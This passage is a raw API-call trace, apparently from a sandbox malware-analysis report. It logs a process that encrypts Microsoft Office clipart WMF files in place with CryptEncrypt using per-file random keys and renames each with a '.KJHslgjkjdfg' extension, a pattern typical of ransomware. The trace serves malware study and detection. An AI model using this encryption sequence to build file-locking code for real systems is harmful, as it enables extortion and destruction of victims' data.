lpNumberOfBytesWritten=0x290f270*=0x9e30, lpOverlapped=0x0) returned 1 [0186.771] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.771] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9f04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.771] SetEndOfFile (hFile=0x114) returned 1 [0186.774] GetProcessHeap () returned 0x2a0000 [0186.774] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.774] GetProcessHeap () returned 0x2a0000 [0186.774] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf.kjhslgjkjdfg")) returned 1 [0186.775] CloseHandle (hObject=0x114) returned 1 [0186.776] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe289fc00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe289fc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00833_.WMF", cAlternateFileName="")) returned 1 [0186.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.777] GetProcessHeap () returned 0x2a0000 [0186.777] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.777] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.777] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.777] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.777] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.777] GetProcessHeap () returned 0x2a0000 [0186.777] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.777] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.777] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.777] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.779] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.779] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.779] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.779] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.780] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.780] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.780] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.780] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ca0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ca0, lpOverlapped=0x0) returned 1 [0186.781] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ca0, dwBufLen=0x1ca0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ca0) returned 1 [0186.781] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.781] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ca0, lpOverlapped=0x0) returned 1 [0186.781] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.781] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.781] SetEndOfFile (hFile=0x114) returned 1 [0186.784] GetProcessHeap () returned 0x2a0000 [0186.784] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.784] GetProcessHeap () returned 0x2a0000 [0186.784] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf.kjhslgjkjdfg")) returned 1 [0186.785] CloseHandle (hObject=0x114) returned 1 [0186.785] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870c3e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x870c3e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1908, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00898_.WMF", cAlternateFileName="")) returned 1 [0186.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.787] GetProcessHeap () returned 0x2a0000 [0186.787] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.787] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.788] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.788] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.790] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.790] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.790] GetProcessHeap () returned 0x2a0000 [0186.790] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.790] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.790] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.790] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.791] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.791] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.791] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.791] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.791] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.791] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.791] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1908, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1908, lpOverlapped=0x0) returned 1 [0186.792] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1910, dwBufLen=0x1910 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1910) returned 1 [0186.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.792] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1910, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1910, lpOverlapped=0x0) returned 1 [0186.792] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.792] SetEndOfFile (hFile=0x114) returned 1 [0186.795] GetProcessHeap () returned 0x2a0000 [0186.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.795] GetProcessHeap () returned 0x2a0000 [0186.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf.kjhslgjkjdfg")) returned 1 [0186.797] CloseHandle (hObject=0x114) returned 1 [0186.797] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb8f800, ftCreationTime.dwHighDateTime=0x1bd4b1c, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bb8f800, ftLastWriteTime.dwHighDateTime=0x1bd4b1c, nFileSizeHigh=0x0, nFileSizeLow=0x3100, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00934_.WMF", cAlternateFileName="")) returned 1 [0186.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.798] GetProcessHeap () returned 0x2a0000 [0186.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.798] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.798] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.798] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.798] GetProcessHeap () returned 0x2a0000 [0186.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.798] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.798] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.798] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.800] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.800] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.801] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.801] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.801] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.801] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.801] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3100, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3100, lpOverlapped=0x0) returned 1 [0186.802] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3100, dwBufLen=0x3100 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3100) returned 1 [0186.802] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.802] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3100, lpOverlapped=0x0) returned 1 [0186.802] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.802] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x31d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.802] SetEndOfFile (hFile=0x114) returned 1 [0186.805] GetProcessHeap () returned 0x2a0000 [0186.805] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.805] GetProcessHeap () returned 0x2a0000 [0186.805] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf.kjhslgjkjdfg")) returned 1 [0186.807] CloseHandle (hObject=0x114) returned 1 [0186.807] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca3200, ftCreationTime.dwHighDateTime=0x1bd4b11, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24ca3200, ftLastWriteTime.dwHighDateTime=0x1bd4b11, nFileSizeHigh=0x0, nFileSizeLow=0x2904, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00998_.WMF", cAlternateFileName="")) returned 1 [0186.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.808] GetProcessHeap () returned 0x2a0000 [0186.808] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.808] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.808] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.808] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.811] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.811] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.811] GetProcessHeap () returned 0x2a0000 [0186.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.811] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.811] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.811] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.811] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.811] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.811] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.811] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.811] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.811] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.811] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.811] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.811] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2904, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2904, lpOverlapped=0x0) returned 1 [0186.812] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2910, dwBufLen=0x2910 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2910) returned 1 [0186.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.813] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2910, lpOverlapped=0x0) returned 1 [0186.813] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x29e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.813] SetEndOfFile (hFile=0x114) returned 1 [0186.815] GetProcessHeap () returned 0x2a0000 [0186.815] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.815] GetProcessHeap () returned 0x2a0000 [0186.815] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf.kjhslgjkjdfg")) returned 1 [0186.817] CloseHandle (hObject=0x114) returned 1 [0186.817] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c97c200, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c97c200, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01160_.WMF", cAlternateFileName="")) returned 1 [0186.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, 